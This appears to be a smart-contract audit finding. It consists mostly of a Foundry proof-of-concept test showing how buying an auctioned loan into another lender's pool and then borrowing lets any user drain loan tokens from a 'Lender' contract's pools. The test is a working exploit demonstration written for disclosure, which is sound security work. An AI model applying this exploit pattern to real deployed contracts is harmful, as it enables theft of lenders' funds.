Just want to note, that this can be exploited by an easier/simpler scenario, but we don't want to spend more time on this as the below POC already shows the impact.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public lender3 = address(0x3);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
loanToken.mint(address(lender3), 100000 * 10 ** 18);
loanToken.mint(address(borrower), 100000 * 10 ** 18);
collateralToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender3);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function createPoolAndBorrow() public returns (bytes32) {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
return poolId;
}
function lendersCreatePools()
public
returns (bytes32 poolId1, bytes32 poolId2)
{
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId1 = lender.setPool(p);
vm.startPrank(lender3);
p = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId2 = lender.setPool(p);
}
function test_nice() public {
bytes32 poolId = createPoolAndBorrow();
(bytes32 lender2PoolId, bytes32 lender3PoolId) = lendersCreatePools();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
(, , , , uint256 pool1Balance, , , , ) = lender.pools(poolId);
(, , , , uint256 pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , uint256 pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------Initial Balances-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
vm.startPrank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 1 days);
vm.startPrank(lender2);
lender.buyLoan(0, lender3PoolId);
vm.startPrank(lender2);
Borrow memory b = Borrow({
poolId: lender2PoolId,
debt: 101 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
(, , , , pool1Balance, , , , ) = lender.pools(poolId);
(, , , , pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------After Buying Loan from Auction-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
(address loanLender, , , , , , , , , ) = lender.loans(0);
assertEq(lender2, loanLender);
vm.startPrank(borrower);
lender.repay(loanIds);
(, , , , pool1Balance, , , , ) = lender.pools(poolId);
(, , , , pool2Balance, , , , ) = lender.pools(lender2PoolId);
(, , , , pool3Balance, , , , ) = lender.pools(lender3PoolId);
console.log("-----------After Repay-----------");
console.log("pool 1 Balance: %s", pool1Balance / 10 ** 18);
console.log("pool 2 Balance: %s", pool2Balance / 10 ** 18);
console.log("pool 3 Balance: %s", pool3Balance / 10 ** 18);
assert(
pool1Balance / 10 ** 18 == 1000 &&
pool2Balance / 10 ** 18 == 999 &&
pool3Balance / 10 ** 18 == 899
);
}
}
Any user can steal loan tokens from any pool.
VScode + manual review.